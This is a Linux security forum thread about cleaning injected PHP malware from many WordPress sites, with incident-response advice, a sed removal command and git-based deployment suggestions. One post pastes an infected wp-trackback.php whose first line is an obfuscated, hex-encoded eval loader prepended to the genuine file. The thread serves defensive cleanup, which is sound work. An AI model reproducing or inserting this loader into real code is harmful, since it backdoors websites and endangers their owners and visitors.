Linux - SecurityThis forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.
Notices
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
Recently we had massive php code injected on most of our wordpress sites. I am trying to remove the code but there are a few thousand php files. On most of the sites I just replace the top line with the php tag again but this does not work on all the sites.
While not an expert, I have had recent opportunity to do a little forensic work of my own on a couple of
similarly corrupted sites.
Here are some thoughts that come immediately to mind:
0. Take the sites offline immediately... put up a "Temporarily unavailable..." page to handle ALL http
requests until resolved - otherwise you may be playing real-time cat and mouse. Change ALL passwords
immediately - FTP accounts, Wordpress, CPanel (or other UI), emails, database... everything -
before you begin!
1. Secure all logs and a complete snapshot of the server to a local platform if you intend to do any
forensics (highly recommended)!
2. There will be an original vector not apparent from the modified files. You may (or may not) be able to
identify it by reviewing the server logs. Typically there will have been multiple stages leading to the
currently visible code, some of which will have been removed already.
3. Simply removing the visibly affected code from files will not allow you to clean up the site(s). There will be additional vectors installed from which they will simply re-install, ad infinitum. The ONLY way
to clean it up short of a total reinstall will be if you have a clean backup stored offsite from which to
identify and restore files. A simple restore from recent backup will not get rid of it if the backup contains
a vector - very likely for any recent backup.
It will be very difficult to simply clean it up, and virtually impossible to know with any confidence that
you have gotten everything. If you try to simply sed the code as described they will be back!
They currently own your site and the only way to confidently evict them is to wipe it down to the metal and
reinstall from clean sources... sorry to say, but mostly the truth in my limited but painful experience.
Must have done something incorrect. Here is my example, using this very page:
Code:
#Get this page into TESTFILE
wget -O TESTFILE http://www.linuxquestions.org/questi...7/#post5211483
#Grep and count the instances of 'tyy' which is in that code mentioned...
grep tyy TESTFILE|wc -l
3
#Find the TESTFILE and run sed on it to remove the code...
find . -name "TESTFILE" -exec sed -i '/<?php $tyyqpbrwjq/,/$wwbtewlrap-1; ?>/d' '{}' \;
#Grep and count the instances of 'tyy' again
grep tyy TESTFILE|wc -l
0
#Grep number of lines the letter 'p' is in TESTFILE now (indicating that it did not delete everything
grep p TESTFILE|wc -l
489
While not an expert, I have had recent opportunity to do a little forensic work of my own on a couple of
similarly corrupted sites.
Here are some thoughts that come immediately to mind:
0. Take the sites offline immediately... put up a "Temporarily unavailable..." page to handle ALL http
requests until resolved - otherwise you may be playing real-time cat and mouse. Change ALL passwords
immediately - FTP accounts, Wordpress, CPanel (or other UI), emails, database... everything -
before you begin!
1. Secure all logs and a complete snapshot of the server to a local platform if you intend to do any
forensics (highly recommended)!
2. There will be an original vector not apparent from the modified files. You may (or may not) be able to
identify it by reviewing the server logs. Typically there will have been multiple stages leading to the
currently visible code, some of which will have been removed already.
3. Simply removing the visibly affected code from files will not allow you to clean up the site(s). There will be additional vectors installed from which they will simply re-install, ad infinitum. The ONLY way
to clean it up short of a total reinstall will be if you have a clean backup stored offsite from which to
identify and restore files. A simple restore from recent backup will not get rid of it if the backup contains
a vector - very likely for any recent backup.
It will be very difficult to simply clean it up, and virtually impossible to know with any confidence that
you have gotten everything. If you try to simply sed the code as described they will be back!
They currently own your site and the only way to confidently evict them is to wipe it down to the metal and
reinstall from clean sources... sorry to say, but mostly the truth in my limited but painful experience.
Thank you for the advice the effected server is already disconnected from the net and the sites was moved to another brand new debian 7 web server, the reason I am trying to clean the visible code from the sites is just to get them up and running in the mean time while the developers can comb through the sites code.
You are correct that 6 months worth of backups does have similar code popping up on some pages.
I understand what you are saying but it will be a quick fix to at-least maintain some form of uptime while it can be properly fixed.
Must have done something incorrect. Here is my example, using this very page:
Code:
#Get this page into TESTFILE
wget -O TESTFILE http://www.linuxquestions.org/questi...7/#post5211483
#Grep and count the instances of 'tyy' which is in that code mentioned...
grep tyy TESTFILE|wc -l
3
#Find the TESTFILE and run sed on it to remove the code...
find . -name "TESTFILE" -exec sed -i '/<?php $tyyqpbrwjq/,/$wwbtewlrap-1; ?>/d' '{}' \;
#Grep and count the instances of 'tyy' again
grep tyy TESTFILE|wc -l
0
#Grep number of lines the letter 'p' is in TESTFILE now (indicating that it did not delete everything
grep p TESTFILE|wc -l
489
It does work if I test it the way you did as well but if i run it against lets say wp-trackback.php it emties the file:
Here is the code for wp-trackback.php
Code:
<?php (..) if (!function_exists('pliyupuqyg')) { function pliyupuqyg($qxsysxwnvl, $nlerhlrclx) { $nrygpqonlc = NULL;
for($ipdahrsiab=0;$ipdahrsiab<(sizeof($qxsysxwnvl)/2);$ipdahrsiab++) { $nrygpqonlc .= substr($nlerhlrclx, $qxsysxwnvl
[($ipdahrsiab*2)],$qxsysxwnvl[($ipdahrsiab*2)+1]); } return $nrygpqonlc; };} $fsfynqhavn="\x20\57\x2a\40\x70\157\x68
\160\x76\153\x70\151\x6c\147\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x
68\162\x28\50\x31\62\x30\55\x38\63\x29\51\x2c\40\x63\150\x72\50\x28\64\x35\71\x2d\63\x36\67\x29\51\x2c\40\x70\154\x6
9\171\x75\160\x75\161\x79\147\x28\44\x61\165\x6f\142\x63\166\x6e\154\x66\161\x2c\44\x74\171\x79\161\x70\142\x72\167\
x6a\161\x29\51\x29\73\x20\57\x2a\40\x63\166\x79\165\x71\144\x75\171\x76\172\x20\52\x2f\40"; $wwbtewlrap=substr($tyyq
pbrwjq,(62760-52647),(59-47)); $wwbtewlrap($kyptwpgzbr, $fsfynqhavn, NULL); $wwbtewlrap=$fsfynqhavn; $wwbtewlrap=(8
21-700); $tyyqpbrwjq=$wwbtewlrap-1; ?><?php
/**
* Handle Trackbacks and Pingbacks sent to WordPress
*
* @package WordPress
*/
if (empty($wp)) {
require_once('./wp-load.php');
wp( array( 'tb' => '1' ) );
}
/**
* trackback_response() - Respond with error or success XML message
*
* @param int|bool $error Whether there was an error
* @param string $error_message Error message if an error occurred
*/
function trackback_response($error = 0, $error_message = '') {
header('Content-Type: text/xml; charset=' . get_option('blog_charset') );
if ($error) {
echo '<?xml version="1.0" encoding="utf-8"?'.">\n";
echo "<response>\n";
echo "<error>1</error>\n";
echo "<message>$error_message</message>\n";
echo "</response>";
die();
} else {
echo '<?xml version="1.0" encoding="utf-8"?'.">\n";
echo "<response>\n";
echo "<error>0</error>\n";
echo "</response>";
}
}
// trackback is done by a POST
$request_array = 'HTTP_POST_VARS';
if ( !isset($_GET['tb_id']) || !$_GET['tb_id'] ) {
$tb_id = explode('/', $_SERVER['REQUEST_URI']);
$tb_id = intval( $tb_id[ count($tb_id) - 1 ] );
}
$tb_url = isset($_POST['url']) ? $_POST['url'] : '';
$charset = isset($_POST['charset']) ? $_POST['charset'] : '';
// These three are stripslashed here so that they can be properly escaped after mb_convert_encoding()
$title = isset($_POST['title']) ? stripslashes($_POST['title']) : '';
$excerpt = isset($_POST['excerpt']) ? stripslashes($_POST['excerpt']) : '';
$blog_name = isset($_POST['blog_name']) ? stripslashes($_POST['blog_name']) : '';
if ($charset)
$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
else
$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
// No valid uses for UTF-7
if ( false !== strpos($charset, 'UTF-7') )
die;
if ( function_exists('mb_convert_encoding') ) { // For international trackbacks
$title = mb_convert_encoding($title, get_option('blog_charset'), $charset);
$excerpt = mb_convert_encoding($excerpt, get_option('blog_charset'), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option('blog_charset'), $charset);
}
// Now that mb_convert_encoding() has been given a swing, we need to escape these three
$title = $wpdb->escape($title);
$excerpt = $wpdb->escape($excerpt);
$blog_name = $wpdb->escape($blog_name);
if ( is_single() || is_page() )
$tb_id = $posts[0]->ID;
if ( !isset($tb_id) || !intval( $tb_id ) )
trackback_response(1, 'I really need an ID for this to work.');
if (empty($title) && empty($tb_url) && empty($blog_name)) {
// If it doesn't look like a trackback at all...
wp_redirect(get_permalink($tb_id));
exit;
}
if ( !empty($tb_url) && !empty($title) ) {
header('Content-Type: text/xml; charset=' . get_option('blog_charset') );
if ( !pings_open($tb_id) )
trackback_response(1, 'Sorry, trackbacks are closed for this item.');
$title = wp_html_excerpt( $title, 250 ).'...';
$excerpt = wp_html_excerpt( $excerpt, 252 ).'...';
$comment_post_ID = (int) $tb_id;
$comment_author = $blog_name;
$comment_author_email = '';
$comment_author_url = $tb_url;
$comment_content = "<strong>$title</strong>\n\n$excerpt";
$comment_type = 'trackback';
$dupe = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url) );
if ( $dupe )
trackback_response(1, 'We already have a ping from that URL for this post.');
$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type');
wp_new_comment($commentdata);
do_action('trackback_post', $wpdb->insert_id);
trackback_response(0);
}
?>
You might want to check this out; it is one of several recent WP vulns.
Here's a quote
"To be clear, the MailPoet vulnerability is the entry point, it doesn't mean your website has to have it enabled or that you have it on the website; if it resides on the server, in a neighbouring website, it can still affect your website."
Of course, given that there are a few Wordpress vulns means that this may or may not be your vuln, but it is worth checking out.
Obviously, you need to beef-up the security of these boxes. (If you're using "easy, convenient" computer-management software such as Plesk, that's almost certainly how they got in.)
Then, you need to be able to have the "authoritative" source-code of the entire site in a version-control system somewhere ... somewhere else, including several physical backups in a safe-box somewhere ... by which you can restore the system by "checking-out" the correct branch from the repository on top of the corrupted code that is there. Presto! The source-code control system (say, "git") will automatically resynchronize everything to match this known-good state ... removing files that were added and replacing ones that were changed.
You need this very-fundamental capability for any and every system that you manage ... to deal with any sort of problem, including your own "oops."
(Nothing makes a computer-guy's blood run cold, than to hear someone nearby say, "oops ..." in that certain hollow tone of voice ... And nothing makes him feel better than to know, with certainty, that the mistake, whatever it was, can be reversed with a simple "Shazam!")
Last edited by sundialsvcs; 07-30-2014 at 09:22 AM.
Obviously, you need to beef-up the security of these boxes. (If you're using "easy, convenient" computer-management software such as Plesk, that's almost certainly how they got in.)
Then, you need to be able to have the "authoritative" source-code of the entire site in a version-control system somewhere ... somewhere else, including several physical backups in a safe-box somewhere ... by which you can restore the system by "checking-out" the correct branch from the repository on top of the corrupted code that is there. Presto! The source-code control system (say, "git") will automatically resynchronize everything to match this known-good state ... removing files that were added and replacing ones that were changed.
You need this very-fundamental capability for any and every system that you manage ... to deal with any sort of problem, including your own "oops."
(Nothing makes a computer-guy's blood run cold, than to hear someone nearby say, "oops ..." in that certain hollow tone of voice ... And nothing makes him feel better than to know, with certainty, that the mistake, whatever it was, can be reversed with a simple "Shazam!")
We dont use any control panels for our hosting or common passwords. All the passwords are 52 character with punctuation marks mixed in-between.
Thanks for the recommendation I never considered backing up client wp sites with git, its actually a great idea thanks
Git (version-control ...) should be a fundamental part of your "deployment" process. Within your own shop, you have a master repository ... replicated many places constantly, including some that are offline ... and this is where the crown-jewels are stored.
Every client site contains a duplicate repository (which is "pulled," but never "pushed") which cannot be written-to by anyone. At any time, this repo can be pulled from the master, and the site files can then be brought to their correct deployed-state by switching to the client's deployment-master branch and pulling at a specified tag.
This should be done by a single "maintenance" user-id (which is not root ...), which owns all of the released files and which write-protects all of them (as well as the directories). No files can be altered, added, or removed, unless you break into root or that particular user. And the only way to "ssh" into that user is through possession of the correct privatekey, which only your deployment-team possesses. (Passwords can't be used to ssh into anything anywhere, in fact.)
A lot of the trick of "pragmatic web-server security" is simply taking the necessary precautions that make your systems "not trivially-easy to get into." Most web-site intruders are strictly opportunists. If they encounter even a slightly-locked door or window, they'll just move on to the next house. Fact is, most systems out there are "trivially easy to break into!" (You really don't have to "break" a window if it's open, now do you?)
Over the years I've advocated a specific approach to handling security incidents in which what to do afterwards has its place but only after we've ensured the OP has mitigated the risks, has investigated the breach where possible and has shown an understanding of what was missing security posture-wise. The use of versioning is nice but it does not prevent anything security-related. And to launch into a description extolling its virtues seems rather premature and distracting when the OP has not yet shown he has a grip on basic system and application security (and still appears to want to expose a system after cleaning it up). So thinking like a coder in my humble opinion is nice but now is not the time for it: first things first I'd say.
@OP: since you have shown this started about six months ago: what item or items have you isolated as the source of the infection and what are the exact measures you take to combat this?
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.